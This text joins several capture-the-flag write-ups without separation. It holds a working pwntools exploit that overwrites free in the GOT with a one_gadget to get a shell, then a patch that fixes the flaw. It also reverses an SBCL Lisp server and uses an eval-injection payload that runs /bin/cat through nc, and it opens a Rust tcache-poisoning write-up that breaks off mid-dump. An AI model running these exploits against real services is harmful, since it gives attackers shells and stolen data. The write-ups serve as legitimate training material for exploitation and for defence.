then, using this method again, we could rewrite any function pointer inside the GOT table. What function we want to execute? There is a helpful tool called [one_gadget](https://github.com/david942j/one_gadget). It searches over the libc and find a code which spawns a shell. We could use that tool and find a gadget to spawn a shell easily. So my exploitation way was: - request a chunk with a huge size (ex. 999999999999999999)- leak an address of `free` function and get libc base address- calculate the address of `one_gadget`- rewrite `free` function in GOT table with `one_gadget`- request a new chunk to call free function and execute `one_gadget`- in the spawned shell read `./data/` directory and get all secret data Example sploit: ```python#!/usr/bin/env python3.7 import reimport sys from pwn import * IP = sys.argv[1]PORT = 6666 def main(io): free_got = 0x603018 io.sendline(b'0') io.sendline(str(10).encode()) io.sendline(b'0') io.sendline(str(999999999999999999).encode()) io.sendline(b'2') io.sendline(str(free_got).encode()) io.sendline(str(8).encode()) io.recvuntil(b'How much do you want to read?\n') free_libc = u64(io.recv(8)) libc_base = free_libc - 0x849a0 print('libc_base @ 0x%x' % libc_base) one_gadget = 0xe5456 io.sendline(b'1') io.sendline(str(free_got).encode()) io.sendline(str(8).encode()) io.sendline(p64(libc_base + one_gadget)) io.sendline(b'0') io.sendline(b'10') io.interactive() if __name__ == '__main__': with remote(IP, PORT) as io: main(io)``` How to fix? We need to change invalid check to valid check, for example `sector_size > 0xFFFF`: ```c++if (*endptr != 0 && *endptr != 10 || sector_size > 0xFFFF)``` Let's look to assembler. Here is a code that's checking the size: ```.text:0000000000400DA8 call _strtoll.text:0000000000400DAD mov rdx, [rsp+118h+endptr].text:0000000000400DB2 movzx edx, byte ptr [rdx].text:0000000000400DB5 cmp dl, 0Ah.text:0000000000400DB8 setnz cl.text:0000000000400DBB test dl, dl.text:0000000000400DBD setnz dl.text:0000000000400DC0 test cl, dl.text:0000000000400DC2 jnz loc_400E5B.text:0000000000400DC8 mov rdx, rax.text:0000000000400DCB shr rdx, 3Fh.text:0000000000400DCF test dl, dl.text:0000000000400DD1 jnz loc_400E5B.text:0000000000400DD7 mov rdi, rbp ; ptr.text:0000000000400DDA mov [rsp+118h+size], rax.text:0000000000400DDF call _free.text:0000000000400DE4 mov rax, [rsp+118h+size].text:0000000000400DE9 mov edi, 1 ; nmemb.text:0000000000400DEE mov rsi, rax ; size.text:0000000000400DF1 mov [rsp+118h+ptr], rax.text:0000000000400DF6 call _calloc``` We need to change some bytes to add `cmp` with `0xFFFF`: ```.text:0000000000400DA8 call _strtoll.text:0000000000400DAD mov rdx, [rsp+118h+endptr].text:0000000000400DB2 movzx edx, byte ptr [rdx].text:0000000000400DB5 cmp dl, 0Ah.text:0000000000400DB8 setnz cl.text:0000000000400DBB test dl, dl.text:0000000000400DBD setnz dl.text:0000000000400DC0 test cl, dl.text:0000000000400DC2 jnz loc_400E5B.text:0000000000400DC8 cmp rax, 0FFFFh.text:0000000000400DCE nop.text:0000000000400DCF nop.text:0000000000400DD0 nop.text:0000000000400DD1 jg loc_400E5B.text:0000000000400DD7 mov rdi, rbp.text:0000000000400DDA mov [rsp+118h+size], rax.text:0000000000400DDF call _free.text:0000000000400DE4 mov rax, [rsp+118h+size].text:0000000000400DE9 mov edi, 1 ; nmemb.text:0000000000400DEE mov rsi, rax ; size.text:0000000000400DF1 mov [rsp+118h+current_size], rax.text:0000000000400DF6 call _calloc``` And now our check becomes correct: ```Options:0. New Sector1. Update Sector Data2. Read Sector Data3. Save Sector4. Load Sector5. Exit> 0 Enter the sector's size:999999999999999999Invalid size for sector: 999999999999999999 Options:0. New Sector1. Update Sector Data2. Read Sector Data3. Save Sector4. Load Sector5. Exit>```
This task is a lot easier if you programmed in Lisp (preferably Common Lisp) before. We start with a binary named `server` and a TCP address. Nothing extraordinary here:```~/list_processor $ file ./server ./server: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=a9399c2b88a2655f9ad07511e3a909ae2a1d992e, stripped``` Start with running the binary:```~/list_processor $ ./serverWelcome at our server :3```The binary waits for input. Input something to get```~/list_processor $ ./serverWelcome at our server :3aWe caught a condition: The value A is not of type LIST```Run app once again and hit Ctrl+c:```~/list_processor $ ./serverWelcome at our server :3^CUnhandled SB-SYS:INTERACTIVE-INTERRUPT in thread #<SB-THREAD:THREAD "main thread" RUNNING {10005F05B3}>: Interactive interrupt at #x7FFFF7D3DA37. Backtrace for: #<SB-THREAD:THREAD "main thread" RUNNING {10005F05B3}>0: ("bogus stack frame")1: (SB-SYS:WAIT-UNTIL-FD-USABLE 0 :INPUT NIL T)2: (SB-IMPL::REFILL-INPUT-BUFFER #<SB-SYS:FD-STREAM for "standard input" {1001B78593}>)3: (SB-IMPL::INPUT-CHAR/UTF-8 #<SB-SYS:FD-STREAM for "standard input" {1001B78593}> T 0)4: ((LAMBDA (&REST REST) :IN SB-IMPL::GET-EXTERNAL-FORMAT) #<SB-SYS:FD-STREAM for "standard input" {1001B78593}> T 0)5: (READ-CHAR #<SB-SYS:FD-STREAM for "standard input" {1001B78593}> T 0 #<unused argument>)6: (READ-CHAR #<SYNONYM-STREAM :SYMBOL SB-SYS:*STDIN* {10000257F3}> T 0 #<unused argument>)7: (SB-IMPL::%READ-PRESERVING-WHITESPACE #<SYNONYM-STREAM :SYMBOL SB-SYS:*STDIN* {10000257F3}> T (NIL) T)8: (SB-IMPL::%READ-PRESERVING-WHITESPACE #<SYNONYM-STREAM :SYMBOL SB-SYS:*STDIN* {10000257F3}> T (NIL) NIL)9: (READ #<SYNONYM-STREAM :SYMBOL SB-SYS:*STDIN* {10000257F3}> T NIL NIL)10: (HANDLE-COMMAND)11: (HANDLE-CLIENT)12: ((FLET SB-UNIX::BODY :IN SAVE-LISP-AND-DIE))13: ((FLET "WITHOUT-INTERRUPTS-BODY-36" :IN SAVE-LISP-AND-DIE))14: ((LABELS SB-IMPL::RESTART-LISP :IN SAVE-LISP-AND-DIE)) unhandled condition in --disable-debugger mode, quitting```This is a SBCL-compiled binary, with disabled debugger. Try to input a LISP list then (`(1 2)`), but the server does not respond. Load the binary to GDB. SBCL does strange thing with signals, so we set```handle SIGUSR1 passhandle SIGSEGV passhandle SIGILL pass``` This is when lisp knowledge comes in handy. Apart from the hight level debugger, there is a low level one. To get to know how can we trigger it, read through file `src/code/debug.lisp` (contains well meaning string `defun disable-debugger`) to see the line``` (sb-alien:alien-funcall (sb-alien:extern-alien "enable_lossage_handler" (function sb-alien:void))))```which leads to funcion `void ldb_monitor()`.Sure enough, when we call it in GDB, we are greeted with friendly message:```pwndbg> call (void)ldb_monitor()Welcome to LDB, a low-level debugger for the Lisp runtime environment.ldb> helphelp Display this help information.? (an alias for help)backtrace Backtrace up to N frames.catchers Print a list of all the active catchers.context Print interrupt context number I.dump Dump memory starting at ADDRESS for COUNT words.d (an alias for dump)exit Exit this instance of the monitor.flush Flush all temp variables.grab-signals Set the signal handlers to call LDB.kill Kill ourself with signal number N (useful if running under gdb)purify Purify. (Caveat purifier!)print Print object at ADDRESS.p (an alias for print)quit Quit.regs Display current Lisp registers.search Search for TYPE starting at ADDRESS for a max of COUNT words.s (an alias for search)```Most importantly, there's function `print`, which lets us print expressions by their address (when provided a number, be it either hex or decimal), or by their name. To simplify process, let's define GDB function```define ldb call (void)ldb_monitor()end```Let's look once again on the printed backtrace. Everything except for `HANDLE-COMMAND` and `HANDLE-CLIENT` comes from SBCL. After breaking on `write` (that's how the welcome message is printed), let's inspect `HANDLE-COMMAND` (because it's probably more interesting, as it interacts directly with data `(READ)`) and dig around a bit:```ldb> p HANDLE-COMMAND$23= 0x1000552adf: other pointer header: 0x00000545: symbol value: 0x00000051: <unbound marker> hash: 0xc6c2934a4bc276e: 447567866009359287$24= info: 0x100073666f: #<ptr to simple vector>$25= name: 0x10006a0ecf: "HANDLE-COMMAND"$7= package: 0x20301103: #<ptr to 20300203 PACKAGE instance>$26= fun: 0x100055cedb: #<ptr to simple fun>ldb> p 0x100055cedb $26= 0x100055cedb: fun pointer header: 0x2030008300000a31: simple fun$27= code: 0x100055ce8f: #<ptr to code header> self: 0x100055cf00: 34362550144$23= name: 0x1000552adf: HANDLE-COMMAND$nil= arglist: 0x20100017: NIL$28= type: 0x1001380197: ($29=SFUNCTION $nil $30=NULL)$31= info: 0x10013801cf: #<ptr to simple vector>```Few things to note here - SBCL uses tagged pointers (4 LSBs). All symbols will have 0b0111 tag. - `self` for a code pointer is the executable code of the function. I dumped memory map containing `0x100055cf00`, loaded it up in Binary Ninja, and disassenbled it.The exact nature of the functions, I determined by putting a breakpoint in GDB there and comparing with the output from `ldb`. Here's disassembly with added comments:```100055cf00 8f4508 pop qword [rbp+0x8 {__return_addr}]100055cf03 4885c9 test rcx, rcx100055cf06 0f85ff000000 jne 0x100055d00b 100055cf0c 488d65f0 lea rsp, [rbp-0x10]100055cf10 498b4c2458 mov rcx, qword [r12+0x58]100055cf15 48894df8 mov qword [rbp-0x8], rcx100055cf19 4883ec10 sub rsp, 0x10100055cf1d 31c9 xor ecx, ecx {0x0}100055cf1f 48892c24 mov qword [rsp], rbp100055cf23 488bec mov rbp, rsp // read function100055cf26 b8588b3120 mov eax, 0x20318b58100055cf2b ffd0 call rax {0x20318b58} // rdx has list from the input100055cf2d 8d42f9 lea eax, [rdx-0x7]100055cf30 a80f test al, 0xf100055cf32 0f85d0000000 jne 0x100055d008 // rcx holds first element in input list100055cf38 488b4af9 mov rcx, qword [rdx-0x7] // 0x20100017 is NIL100055cf3c 4881f917001020 cmp rcx, 0x20100017100055cf43 7415 je 0x100055cf5a 100055cf45 8d41f1 lea eax, [rcx-0xf]100055cf48 a80f test al, 0xf100055cf4a 0f85b5000000 jne 0x100055d005 // 0x45 is a SYMBOL100055cf50 8079f145 cmp byte [rcx-0xf], 0x45100055cf54 0f85ab000000 jne 0x100055d005 100055cf5a 488b4119 mov rax, qword [rcx+0x19] // offset 0x19 (from -0xf) means PACKAGE // this is [rel data_100055cea8] // ldb> p 0x10005524df // $8= 0x10005524df: other pointer // header: 0x00000545: symbol // value: 0x00000051: <unbound marker> // hash: 0x37242e29f7fd5190: 1986675764518365384 // $9= info: 0x100073652f: #<ptr to simple vector> // $10= name: 0x10005bc08f: "STORE" // $11= package: 0x1000237be3: #<ptr to 20300203 PACKAGE instance> // $12= fun: 0x100055ab3b: #<ptr to simple fun>100055cf5e 488b0d43ffffff mov rcx, qword [rel data_100055cea8] // this is the package // ldb> p 0x1000237be3 // $11= 0x1000237be3: instance pointer // $13= type: 0x20300203: #<ptr to 20300183 LAYOUT instance> // $14= slot 0: 0x100054fecf: "RULES" // $nil= slot 1: 0x20100017: NIL // $15= slot 2: 0x1000552c27: ($16=#<ptr to 20300203 PACKAGE instance>) // $17= slot 3: 0x1000552c3f: #<ptr to simple vector> // slot 4: 0x00000000: 0100055cf5e 488b0d43ffffff mov rcx, qword [rel data_100055cea8] // this is the package // ldb> p 0x1000237be3 // $11= 0x1000237be3: instance pointer // $13= type: 0x20300203: #<ptr to 20300183 LAYOUT instance> // $14= slot 0: 0x100054fecf: "RULES" // $nil= slot 1: 0x20100017: NIL // $15= slot 2: 0x1000552c27: ($16=#<ptr to 20300203 PACKAGE instance>) // $17= slot 3: 0x1000552c3f: #<ptr to simple vector> // slot 4: 0x00000000: 0 // $nil= slot 5: 0x20100017: NIL // $18= slot 6: 0x1000552c53: #<ptr to 2030d503 PACKAGE-HASHTABLE instance> // $19= slot 7: 0x1000552c83: #<ptr to 2030d503 PACKAGE-HASHTABLE instance> // $nil= slot 8: 0x20100017: NIL // $nil= slot 9: 0x20100017: NIL // $nil= slot 10: 0x20100017: NIL // $20= slot 11: 0x1000552cb7: ($11) // $21= slot 12: 0x1000552cc3: #<ptr to 20300803 DEFINITION-SOURCE-LOCATION instance> // $nil= slot 13: 0x20100017: NIL // $nil= slot 14: 0x20100017: NIL100055cf65 488b4919 mov rcx, qword [rcx+0x19] {0x10005524f8}100055cf69 4839c1 cmp rcx, rax100055cf6c 0f858c000000 jne 0x100055cffe // ldb> p HANDLE-COMMAND // $23= 0x1000552adf: other pointer // header: 0x00000545: symbol // value: 0x00000051: <unbound marker> // hash: 0xc6c2934a4bc276e: 447567866009359287 // $24= info: 0x100073666f: #<ptr to simple vector> // $25= name: 0x10006a0ecf: "HANDLE-COMMAND" // $7= package: 0x20301103: #<ptr to 20300203 PACKAGE instance> // $26= fun: 0x100055cedb: #<ptr to simple fun> // ldb> p 0x100055cedb // $26= 0x100055cedb: fun pointer // header: 0x2030008300000a31: simple fun // $27= code: 0x100055ce8f: #<ptr to code header> // self: 0x100055cf00: 34362550144 // $23= name: 0x1000552adf: HANDLE-COMMAND // $nil= arglist: 0x20100017: NIL // $28= type: 0x1001380197: ($29=SFUNCTION $nil $30=NULL) // $31= info: 0x10013801cf: #<ptr to simple vector> // ldb> p 0x100055ce8f // $27= 0x100055ce8f: other pointer // header: 0x100000a2d: code header // $26= f[0]: 0x100055cedb: #<ptr to simple fun> // code_size: 0x0000027a: 317 // $67= debug_info: 0x1001380153: #<ptr to 20300703 COMPILED-DEBUG-INFO instance> // fixups: 0x3c3e5ab8ae: 129372085335 // $68= ???: 0x20318b4f: #<ptr to fdefn for READ> // $67= debug_info: 0x1001380153: #<ptr to 20300703 COMPILED-DEBUG-INFO instance> // fixups: 0x3c3e5ab8ae: 129372085335 // $68= ???: 0x20318b4f: #<ptr to fdefn for READ> // $8= ???: 0x10005524df: STORE // $69= ???: 0x203210cf: #<ptr to fdefn for EVAL> // $70= ???: 0x204b85df: *STANDARD-OUTPUT* // $71= ???: 0x2031a5cf: #<ptr to fdefn for PRIN1> // $72= ???: 0x2032128f: #<ptr to fdefn for TERPRI> // // addresses of EVAL, PRIN1, TERPRI almost match (idk why just almost)100055cf72 4883ec10 sub rsp, 0x10100055cf76 b902000000 mov ecx, 0x2100055cf7b 48892c24 mov qword [rsp], rbp100055cf7f 488bec mov rbp, rsp100055cf82 b8d8103220 mov eax, 0x203210d8 // eval100055cf87 ffd0 call rax {0x203210d8}100055cf89 480f42e3 cmovb rsp, rbx // NIL100055cf8d 4881fa17001020 cmp rdx, 0x20100017 // T100055cf94 b94f001020 mov ecx, 0x2010004f100055cf99 480f44ca cmove rcx, rdx100055cf9d 488bd1 mov rdx, rcx100055cfa0 498b8c2430220000 mov rcx, qword [r12+0x2230]100055cfa8 83f961 cmp ecx, 0x61100055cfab 480f440c25d8854bโ€ฆcmove rcx, qword [0x204b85d8]100055cfb4 488bf1 mov rsi, rcx100055cfb7 488975f0 mov qword [rbp-0x10], rsi100055cfbb 4883ec10 sub rsp, 0x10100055cfbf 488bfe mov rdi, rsi100055cfc2 b904000000 mov ecx, 0x4100055cfc7 48892c24 mov qword [rsp], rbp100055cfcb 488bec mov rbp, rsp100055cfce b8d8a53120 mov eax, 0x2031a5d8 // print100055cfd3 ffd0 call rax {0x2031a5d8}100055cfd5 488b75f0 mov rsi, qword [rbp-0x10]100055cfd9 4883ec10 sub rsp, 0x10100055cfdd 488bd6 mov rdx, rsi100055cfe0 b902000000 mov ecx, 0x2100055cfe5 48892c24 mov qword [rsp], rbp100055cfe9 488bec mov rbp, rsp100055cfec b898123220 mov eax, 0x20321298100055cff1 ffd0 call rax {0x20321298}100055cff3 ba17001020 mov edx, 0x20100017 100055cff8 488be5 mov rsp, rbp100055cffb f8 clc 100055cffc 5d pop rbp100055cffd c3 retn 100055cffe ba17001020 mov edx, 0x20100017100055d003 ebf3 jmp 0x100055cff8 100055d005 cc int3 { Does not return }```And there's generated graph: ![](binaryninja_handle_command.png) In the line```100055cf65 488b4919 mov rcx, qword [rcx+0x19] {0x10005524f8}```this evaluates to the package of function `STORE`, which is the package `RULES`. This basically means, that we need to provide a list, so that its first element is a member of package `RULES`. This list will be later evaluated as a Lisp expression (this is what read does - it reads a lisp expression). Let's look at the available symbols in the package `RULES`:```ldb> p 0x10005524df$8= 0x10005524df: other pointer header: 0x00000545: symbol value: 0x00000051: <unbound marker> hash: 0x37242e29f7fd5190: 1986675764518365384$9= info: 0x100073652f: #<ptr to simple vector>$10= name: 0x10005bc08f: "STORE"$11= package: 0x1000237be3: #<ptr to 20300203 PACKAGE instance>$12= fun: 0x100055ab3b: #<ptr to simple fun>ldb> p 0x1000237be3 $11= 0x1000237be3: instance pointer$13= type: 0x20300203: #<ptr to 20300183 LAYOUT instance>$14= slot 0: 0x100054fecf: "RULES"$nil= slot 1: 0x20100017: NIL$15= slot 2: 0x1000552c27: ($16=#<ptr to 20300203 PACKAGE instance>)$17= slot 3: 0x1000552c3f: #<ptr to simple vector> slot 4: 0x00000000: 0$nil= slot 5: 0x20100017: NIL$18= slot 6: 0x1000552c53: #<ptr to 2030d503 PACKAGE-HASHTABLE instance>$19= slot 7: 0x1000552c83: #<ptr to 2030d503 PACKAGE-HASHTABLE instance>$nil= slot 8: 0x20100017: NIL$nil= slot 9: 0x20100017: NIL$nil= slot 10: 0x20100017: NIL$20= slot 11: 0x1000552cb7: ($11)$21= slot 12: 0x1000552cc3: #<ptr to 20300803 DEFINITION-SOURCE-LOCATION instance>$nil= slot 13: 0x20100017: NIL$nil= slot 14: 0x20100017: NIL```Slot 6 holds all symbols (with the internal ones), while slot 7 has the external ones. To verify the assumption, let's run the program (`ASSERTION-LIST` is in the slot 6, `EXTRACT` in the slot 7):```Welcome at our server :3(RULES:ASSERTION-LIST 4 5)We caught a condition: The symbol "ASSERTION-LIST" is not external in the RULES package. Stream: #<SYNONYM-STREAM :SYMBOL SB-SYS:*STDIN* {10000257F3}>``````Welcome at our server :3(RULES:EXTRACT )We caught a condition: invalid number of arguments: 0```Success!Let's see what symbols are there:```ldb> p 0x1000552c83 $19= 0x1000552c83: instance pointer$98= type: 0x2030d503: #<ptr to 20300183 LAYOUT instance>$100= slot 0: 0x1000736baf: #<ptr to simple vector> slot 1: 0x00000018: 12 slot 2: 0x00000008: 4 slot 3: 0x00000000: 0ldb> p 0x1000736baf $100= 0x1000736baf: other pointer header: 0x000000d9: simple vector length = 17 0: 0x00000000: 0$8= 1: 0x10005524df: STORE$112= 2: 0x1000914e6f: DEFRULE$113= 3: 0x1000914e9f: SAVE-DATABASE 4: 0x00000000: 0 5: 0x00000000: 0 6: 0x00000000: 0 7: 0x00000000: 0$114= 8: 0x1000914ecf: => 9: 0x00000000: 0 10: 0x00000000: 0$115= 11: 0x1000914eff: EXTRACT 12: 0x00000000: 0$116= 13: 0x1000914f2f: FETCH$117= 14: 0x1000914f5f: LOAD-DATABASE 15: 0x00000000: 0$118= 16: 0x1000914f8f: FETCH-BINDINGS```There's a function `SAVE-DATABASE`, which seems promising. Let's see the arguments:```ldb> p SAVE-DATABASE$113= 0x1000914e9f: other pointer header: 0x00000545: symbol value: 0x00000051: <unbound marker> hash: 0x3a2a7b2f9b8e7eea: 2095648923812577141$119= info: 0x1000a5364f: #<ptr to simple vector>$120= name: 0x1000a5898f: "SAVE-DATABASE"$11= package: 0x1000237be3: #<ptr to 20300203 PACKAGE instance>$121= fun: 0x100055b5db: #<ptr to simple fun>ldb> p 0x100055b5db$121= 0x100055b5db: fun pointer header: 0x2030008300001031: simple fun$124= code: 0x100055b55f: #<ptr to code header> self: 0x100055b600: 34362546944$113= name: 0x1000914e9f: SAVE-DATABASE$125= arglist: 0x1001377717: ($126=FILENAME)$127= type: 0x1001377727: ($43=FUNCTION $128=($t=T) $45=*)$129= info: 0x100137775f: #<ptr to simple vector>```So it just takes a `FILENAME` argument. To make sure that it's the database that holds the flag, we inspect further:```ldb> p SAVE-DATABASE $113= 0x1000914e9f: other pointer header: 0x00000545: symbol value: 0x00000051: <unbound marker> hash: 0x3a2a7b2f9b8e7eea: 2095648923812577141$119= info: 0x1000a5364f: #<ptr to simple vector>$120= name: 0x1000a5898f: "SAVE-DATABASE"$11= package: 0x1000237be3: #<ptr to 20300203 PACKAGE instance>$121= fun: 0x100055b5db: #<ptr to simple fun>ldb> p 0x100055b5db $121= 0x100055b5db: fun pointer header: 0x2030008300001031: simple fun$124= code: 0x100055b55f: #<ptr to code header> self: 0x100055b600: 34362546944$113= name: 0x1000914e9f: SAVE-DATABASE$125= arglist: 0x1001377717: ($126=FILENAME)$127= type: 0x1001377727: ($43=FUNCTION $128=($t=T) $45=*)$129= info: 0x100137775f: #<ptr to simple vector>ldb> p 0x100055b55f $124= 0x100055b55f: other pointer header: 0x10000200000e2d: code header$121= f[0]: 0x100055b5db: #<ptr to simple fun>$130= f[1]: 0x100055b84b: #<ptr to simple fun> code_size: 0x00000694: 842$131= debug_info: 0x10013776d3: #<ptr to 20300703 COMPILED-DEBUG-INFO instance>$132= fixups: 0x1001379ebf: #<ptr to bignum>$133= ???: 0x203b372f: DIRECTION$134= ???: 0x203b299f: OUTPUT$135= ???: 0x203b3edf: IF-EXISTS$136= ???: 0x203b3e7f: SUPERSEDE$137= ???: 0x2031990f: #<ptr to fdefn for OPEN>$138= ???: 0x20331a6f: #<ptr to fdefn for %WITH-STANDARD-IO-SYNTAX>$139= ???: 0x204c163f: *DATABASE*$140= ???: 0x20363e8f: #<ptr to fdefn for PRINT>$141= ???: 0x203a9a8f: ABORT$142= ???: 0x203199af: #<ptr to fdefn for CLOSE>ldb> p 0x204c163f $139= 0x204c163f: other pointer header: 0x06000545: symbol$143= value: 0x1000df96a7: ($144=($145=($146=FLAG $147=CHCTF $148=( ...))) $149=#<ptr to 20300c83 HASH-TABLE instance>) hash: 0x149d4ce358cd1b0a: 742713995716627845$150= info: 0x1000df96cf: #<ptr to simple vector>$151= name: 0x1000df3adf: "*DATABASE*"$11= package: 0x1000237be3: #<ptr to 20300203 PACKAGE instance>```Indeed, a flag is present here:```ldb> p 0x204c163f $139= 0x204c163f: other pointer header: 0x06000545: symbol$143= value: 0x1000df96a7: ($144=($145=($146=FLAG $147=CHCTF $148=( ...))) $149=#<ptr to 20300c83 HASH-TABLE instance>) hash: 0x149d4ce358cd1b0a: 742713995716627845$150= info: 0x1000df96cf: #<ptr to simple vector>$151= name: 0x1000df3adf: "*DATABASE*"$11= package: 0x1000237be3: #<ptr to 20300203 PACKAGE instance>ldb> p 0x1000df96a7 $143= 0x1000df96a7: list pointer$144= car: 0x1001253c57: ($145=($146=FLAG $147=CHCTF $148=(#\t #\e #\s #\t ...)))$152= cdr: 0x1000df96b7: ($149=#<ptr to 20300c83 HASH-TABLE instance>)ldb> p 0x1001253c57 $144= 0x1001253c57: list pointer$145= car: 0x10015da2c7: ($146=FLAG $147=CHCTF $148=(#\t #\e #\s #\t ...))$nil= cdr: 0x20100017: NILldb> p 0x10015da2c7 $145= 0x10015da2c7: list pointer$146= car: 0x1000552a4f: FLAG$153= cdr: 0x10015da2d7: ($147=CHCTF $148=(#\t #\e #\s #\t ...))ldb> p 0x10015da2d7 $153= 0x10015da2d7: list pointer$147= car: 0x1000552bcf: CHCTF$154= cdr: 0x10015da2e7: ($148=(#\t #\e #\s #\t ...))```It is however a test flag. To get the real flag, we need to run some code on the server. Now, as it's just an eval, we may first save the database, and read the file from disk to the stdout, thus getting the flag. We can achieve the second by providing it as a second argument to the next `SAVE-DATABASE` call - this will produce a runtime error, but the flag will be already printed out.Example payload:```(RULES:SAVE-DATABASE "/tmp/lol") (RULES:SAVE-DATABASE (SB-EXT:RUN-PROGRAM "/bin/cat" (list "/tmp/lol") :output *standard-output*))``` We try it with```~/list_processor $ echo '(RULES:SAVE-DATABASE "/tmp/lol") (RULES:SAVE-DATABASE (SB-EXT:RUN-PROGRAM "/bin/cat" (list "/tmp/lol") :output *standard-output*))' | nc list-processor.chujowyc.tf 4002 Welcome at our server :3T (((FLAG CHCTF (#\LATIN_CAPITAL_LETTER_I #\LOW_LINE #\LATIN_SMALL_LETTER_J #\LATIN_SMALL_LETTER_U #\LATIN_SMALL_LETTER_S #\LATIN_SMALL_LETTER_T #\LOW_LINE #\LATIN_SMALL_LETTER_R #\LATIN_SMALL_LETTER_O #\LATIN_SMALL_LETTER_B #\LATIN_SMALL_LETTER_B #\DIGIT_THREE #\LATIN_SMALL_LETTER_D #\LOW_LINE #\LATIN_SMALL_LETTER_A #\LOW_LINE #\LATIN_SMALL_LETTER_S #\LATIN_SMALL_LETTER_T #\DIGIT_THREE #\DIGIT_THREE #\DIGIT_SEVEN #\LOW_LINE #\LATIN_SMALL_LETTER_B #\DIGIT_FOUR #\LATIN_SMALL_LETTER_N #\LATIN_SMALL_LETTER_K #\LOW_LINE #\DIGIT_FOUR #\DIGIT_SIX #\DIGIT_THREE #\DIGIT_TWO #\DIGIT_SEVEN #\DIGIT_EIGHT #\DIGIT_FOUR #\DIGIT_SIX #\DIGIT_THREE #\DIGIT_TWO #\DIGIT_SEVEN #\DIGIT_EIGHT #\DIGIT_FOUR #\DIGIT_FIVE #\DIGIT_THREE #\DIGIT_FOUR #\DIGIT_TWO #\DIGIT_SEVEN #\DIGIT_EIGHT))) #.(SB-IMPL::%STUFF-HASH-TABLE (MAKE-HASH-TABLE :TEST (QUOTE EQL) :SIZE (QUOTE 16) :REHASH-SIZE (QUOTE 1.5) :REHASH-THRESHOLD (QUOTE 1.0) :WEAKNESS (QUOTE NIL)) (QUOTE ((FLAG (FLAG CHCTF (#\LATIN_CAPITAL_LETTER_I #\LOW_LINE #\LATIN_SMALL_LETTER_J #\LATIN_SMALL_LETTER_U #\LATIN_SMALL_LETTER_S #\LATIN_SMALL_LETTER_T #\LOW_LINE #\LATIN_SMALL_LETTER_R #\LATIN_SMALL_LETTER_O #\LATIN_SMALL_LETTER_B #\LATIN_SMALL_LETTER_B #\DIGIT_THREE #\LATIN_SMALL_LETTER_D #\LOW_LINE #\LATIN_SMALL_LETTER_A #\LOW_LINE #\LATIN_SMALL_LETTER_S #\LATIN_SMALL_LETTER_T #\DIGIT_THREE #\DIGIT_THREE #\DIGIT_SEVEN #\LOW_LINE #\LATIN_SMALL_LETTER_B #\DIGIT_FOUR #\LATIN_SMALL_LETTER_N #\LATIN_SMALL_LETTER_K #\LOW_LINE #\DIGIT_FOUR #\DIGIT_SIX #\DIGIT_THREE #\DIGIT_TWO #\DIGIT_SEVEN #\DIGIT_EIGHT #\DIGIT_FOUR #\DIGIT_SIX #\DIGIT_THREE #\DIGIT_TWO #\DIGIT_SEVEN #\DIGIT_EIGHT #\DIGIT_FOUR #\DIGIT_FIVE #\DIGIT_THREE #\DIGIT_FOUR #\DIGIT_TWO #\DIGIT_SEVEN #\DIGIT_EIGHT))))))) We caught a condition: The value #<SB-IMPL::PROCESS :EXITED 0> is not of type (OR (VECTOR CHARACTER) (VECTOR NIL) BASE-STRING PATHNAME STREAM) when binding SB-KERNEL:FILENAME```Just need to decode the output. If we wanted to make something more aligned with the expectations of the task, we could look into function `FETCH`: ```ldb> p 0x1000736baf $100= 0x1000736baf: other pointer header: 0x000000d9: simple vector length = 17 0: 0x00000000: 0$8= 1: 0x10005524df: STORE$112= 2: 0x1000914e6f: DEFRULE$113= 3: 0x1000914e9f: SAVE-DATABASE 4: 0x00000000: 0 5: 0x00000000: 0 6: 0x00000000: 0 7: 0x00000000: 0$114= 8: 0x1000914ecf: => 9: 0x00000000: 0 10: 0x00000000: 0$115= 11: 0x1000914eff: EXTRACT 12: 0x00000000: 0$116= 13: 0x1000914f2f: FETCH$117= 14: 0x1000914f5f: LOAD-DATABASE 15: 0x00000000: 0$118= 16: 0x1000914f8f: FETCH-BINDINGSldb> p 0x1000914f2f $116= 0x1000914f2f: other pointer header: 0x00000545: symbol value: 0x00000051: <unbound marker> hash: 0x2afb8c3ad5c96da8: 1548611676535043796$181= info: 0x1000a536af: #<ptr to simple vector>$182= name: 0x1000a589ef: "FETCH"$11= package: 0x1000237be3: #<ptr to 20300203 PACKAGE instance>$183= fun: 0x100055a63b: #<ptr to simple fun>ldb> p 0x100055a63b $183= 0x100055a63b: fun pointer header: 0x2030008300000831: simple fun$184= code: 0x100055a5ff: #<ptr to code header> self: 0x100055a660: 34362544944$116= name: 0x1000914f2f: FETCH$185= arglist: 0x10013772e7: ($186=PATTERN)$187= type: 0x10013772f7: ($29=SFUNCTION $188=($t=T) $189=LIST)$190= info: 0x100137732f: #<ptr to simple vector>``` Apparently the function expects a list. This is how it looks in Binary Ninja: ![](binaryninja_FETCH.png) ouch, maybe stick to the first solution...
# tetanus ## TLDR* binary written by rust* UAF * tcache poisoning * overwrite the value of free\_hook to one gadget rce ## Challenge### Descriptionresult of file command* Arch : x86-64* Library : Dynamically linked* Symbol : Not stripped result of checksec* RELRO : Full RELRO* Canary : Disable* NX : Enable* PIE : Enable libc version: 2.30 (in given dockerfile) I have solved the rust binary for the first time. I'm glad to solve this. ### Exploit In main function, "lists" is declared, which type is "Vec<VecDeque<i64>>". We can choose 7 commands, which is#### 1.create a list* Example: After creating a list with size=8 ```0x55555578aec0: 0x0000000000000000 0x0000000000000091 <-- chunk of lists0x55555578aed0: 0x0000000000000000 0x00000000000000000x55555578aee0: 0x000055555578ae40 0x0000000000000010 <--- added0x55555578aef0: 0x0000000000000000 0x00000000000000000x55555578af00: 0x0000000000000000 0x00000000000000000x55555578af10: 0x0000000000000000 0x00000000000000000x55555578af20: 0x0000000000000000 0x00000000000000000x55555578af30: 0x0000000000000000 0x00000000000000000x55555578af40: 0x0000000000000000 0x0000000000000000...0x55555578ae30: 0x0000000000000000 0x00000000000000910x55555578ae40: 0x0000000000000000 0x0000000000000000 0x55555578ae50: 0x0000000000000000 0x00000000000000000x55555578ae60: 0x0000000000000000 0x00000000000000000x55555578ae70: 0x0000000000000000 0x00000000000000000x55555578ae80: 0x0000000000000000 0x00000000000000000x55555578ae90: 0x0000000000000000 0x00000000000000000x55555578aea0: 0x0000000000000000 0x00000000000000000x55555578aeb0: 0x0000000000000000 0x0000000000000000``` After creating a list again with size=4 ```0x55555578aec0: 0x0000000000000000 